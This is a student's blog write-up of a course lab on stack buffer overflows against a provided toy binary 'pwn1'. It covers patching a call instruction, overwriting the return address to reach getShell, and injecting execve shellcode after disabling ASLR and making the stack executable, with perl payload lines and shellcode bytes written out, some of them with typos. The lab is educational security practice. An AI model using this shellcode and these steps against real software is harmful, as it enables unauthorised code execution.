• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
panchenglei
博客园    首页    新随笔    联系   管理    订阅  订阅

20212928 2021-2022-2 《网络攻防实践》第11周作业

1.实践基础知识

1)熟悉Linux基本操作
能看懂常用指令,如管道(|),输入、输出重定向(>)等。

2)理解Bof的原理

  • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。

3)指令、参数

  • 一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
  • 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
  • 操作成功不重要,照着敲入指令肯定会成功。

4)重要的是理解思路。)

  • 看指导理解思路,然后抛开指导自己做。
  • 碰到问题才能学到知识。
  • 具体的指令可以回到指导中查。

2.实践过程
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode

(1)实践任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
学习目标:理解可执行文件与机器指令
进阶:掌握ELF文件格式,掌握动态技术

具体步骤如下:
1)下载解压文件pwn1,对其进行反汇编
2)输入指令:objdump -d pwn1|more,加|more是加管道符,可以分页显示,得到如下截图:


3)之后输入命令/getShall,可以得到如下截图,

可以看到有三个函数,getShall,foo,main;

  • call 8048491是汇编指令
    是说这条指令将调用位于地址8048491处的foo函数;
    其对应机器指令为e8 d7ffffff,e8即跳转之意。
    本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行EIP + d7ffffff这个位置的指令。
    d7ffffff是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值

  • main函数调用foo,对应机器指令e8 d7ffffff
    那我们想让它调用getShell,只要修改d7ffffff为getShell-80484ba对应的补码就行。
    用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff。

4)下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

  • 在修改之前习惯性进行备份一下,输入指令:cs pwn1 pwn2

  • 输入指令vi pwn1

    可以看到如下图所示:基本全是乱码

  • 按ESC,然后输入命令:%!xxd,转换成16进制,如下图

  • 输入命令/e8 d7查找要修改的内容

找到后,将前后的内容和反汇编的对比下,确认地方是正确的,修改d7为c3,如下图

转换16进制为原格式:%!xxd -r,如下图所示:

输入指令vi:wq保存退出

5)下面进行验证:

  • 由于我们改的是主函数,所以由下图可以看到已经发生变化:

  • 先输入指令:./pwn1运行一下原来的,如下图:
    当我输入20212928pcl,就会给我返回相同的字符,

  • 在输入命令./pwn2验证一下刚才我们修改过的,则可以看到出现Shell,如下图所示:

(2)实践任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术

步骤如下:
1)反汇编,了解程序的基本功能
首先,我们输入命令:objdump -d pwn1 | more对pwn1进行反汇编
注意这个函数getShell,我们的目标是触发这个函数

该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

这里读入字符串,但系统只预留了28+4=32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

2)确认输入字符串哪几个字符会覆盖到返回地址
输入命令gdb pwn1进行调试pwn1

EIP的值,是ASCII 1234
如果输入字符串1111111122222222333333334444444412345678,那1234 那四个数最终会覆盖到堆栈上的返回地址,
进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

3)确认用什么值来覆盖返回地址

  • getShell的内存地址,通过反汇编时可以看到,是0804847d,如下图

因为是小端优先,所以应输入11111111222222223333333344444444\x7d\x84\x04\x08
4)构造输入字符串

  • 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' >
    input的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

  • 用16进制查看指令xxd查看input文件的内容是否如预期xxd input

  • 然后将input的输入,通过管道符|,作为pwn1的输入(cat input; cat) | ./pwn1

(3)实践任务三:注入一个自己制作的shellcode并运行这段shellcode
1) 准备一段Shellcode

  • shellcode就是一段机器指令(code)
    通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 以下实践使用Shellcode入门生成的shellcode。如下:
    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2)准备工作
修改如下这些配置

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 



3)构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode

  • nop+shellcode+retaddr

  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

  • 我们这个buf够放这个shellcode了,

  • 结构为:nops+shellcode+retaddr。

  • nop一为是了填充,二是作为“着陆区/滑行区”。

  • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

  • 构造input_shellcode文件perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53
    x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 打开一个终端注入这段攻击buf(cat input_shellcode;cat) | ./pwn1

  • 再开另外一个终端,用gdb来调试pwn1这个进程

  • 输入ps -ef | grep pwn1查看进程号,我这里是5860,如下图

  • 启动gdb调试这个进程,输入指令attch 5860,如下图:

  • 通过设置断点,来查看注入buf的内存地址disassemble foo

  • 首先要得到函数的retaddr,则反汇编:disassemble foo得到ret地址为0x080484ae

  • 后设置断点:break *0x080484ae,输入c开始运行

  • 接下来到另一个终端回车,使程序往下执行至断点

  • 此时查看esp寄存器地址,使用info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:0xbfffee1c

  • 输入x/16x 0xbfffee1c,以十六进制查看0xbfffee1c后续16字节内容

  • 得到我们定义的Shellcode返回地址\x4\x3\x2\x1位于0xbfffee1c四位,即得到Shellcode真实返回地址0xbfffee1c+0x00000004=0xbfffee20,

  • 可以发现数据采用小端字节序,并且将返回地址改为20 ee ff bf就可以让程序执行Shellcode,
    这样一来构造shellcode:32个A+retaddr+nop+shellcode。
    perl -e 'print "A" x 32; "\x20\xee\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

  • 在输入命令 (cat input_shellcode;cat) | ./pwn1,即可看到最后的成功结果,如下图

    3.学习中遇到的问题及解决
    问题1:做第二个任务时,当我输入gdb pwn1,发现不可以调试,如下图,输入sudo apt install gdb,进行安装解决
    ,却发现还是不行

解决1:最后,终于在输入更新命令后在执行下载安装就好了,其实之前也试过,但是没有在sudo模式下进行,导致试了好多遍,如下图:

问题2:exexecstack软件下载安装一直失败,

解决2:首先按照网上的解决办法进行升级。发现还是不行,如下图:

最后,只能用seedubundu来完成接下来的实验,输入命令sudo apt-get install prelink就可以解决该问题。

问题3:输入相关命令时只显示一行信息,如图,关机重启等方法用了好多次都没解决

解决3:错在在构造shellcode 时,将代码行多加了一个回车,去掉回车后即可解决:

4.学习感想和体会
本次实验内容比较不算难,但对一些汇编语言的基础知识要求较高,实现了BOF攻击,掌握了两个软件的下载以及使用,即gdb和exexecstack。
当然做实验时也是出现了各种各样的问题,在上述的问题3,我通过尝试各种方法没能解决,最后还是感谢邹泽霄,请同学帮忙查看,才使得实验顺利的完成。

posted @ 2022-05-10 20:25  陆贰叁  阅读(84)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3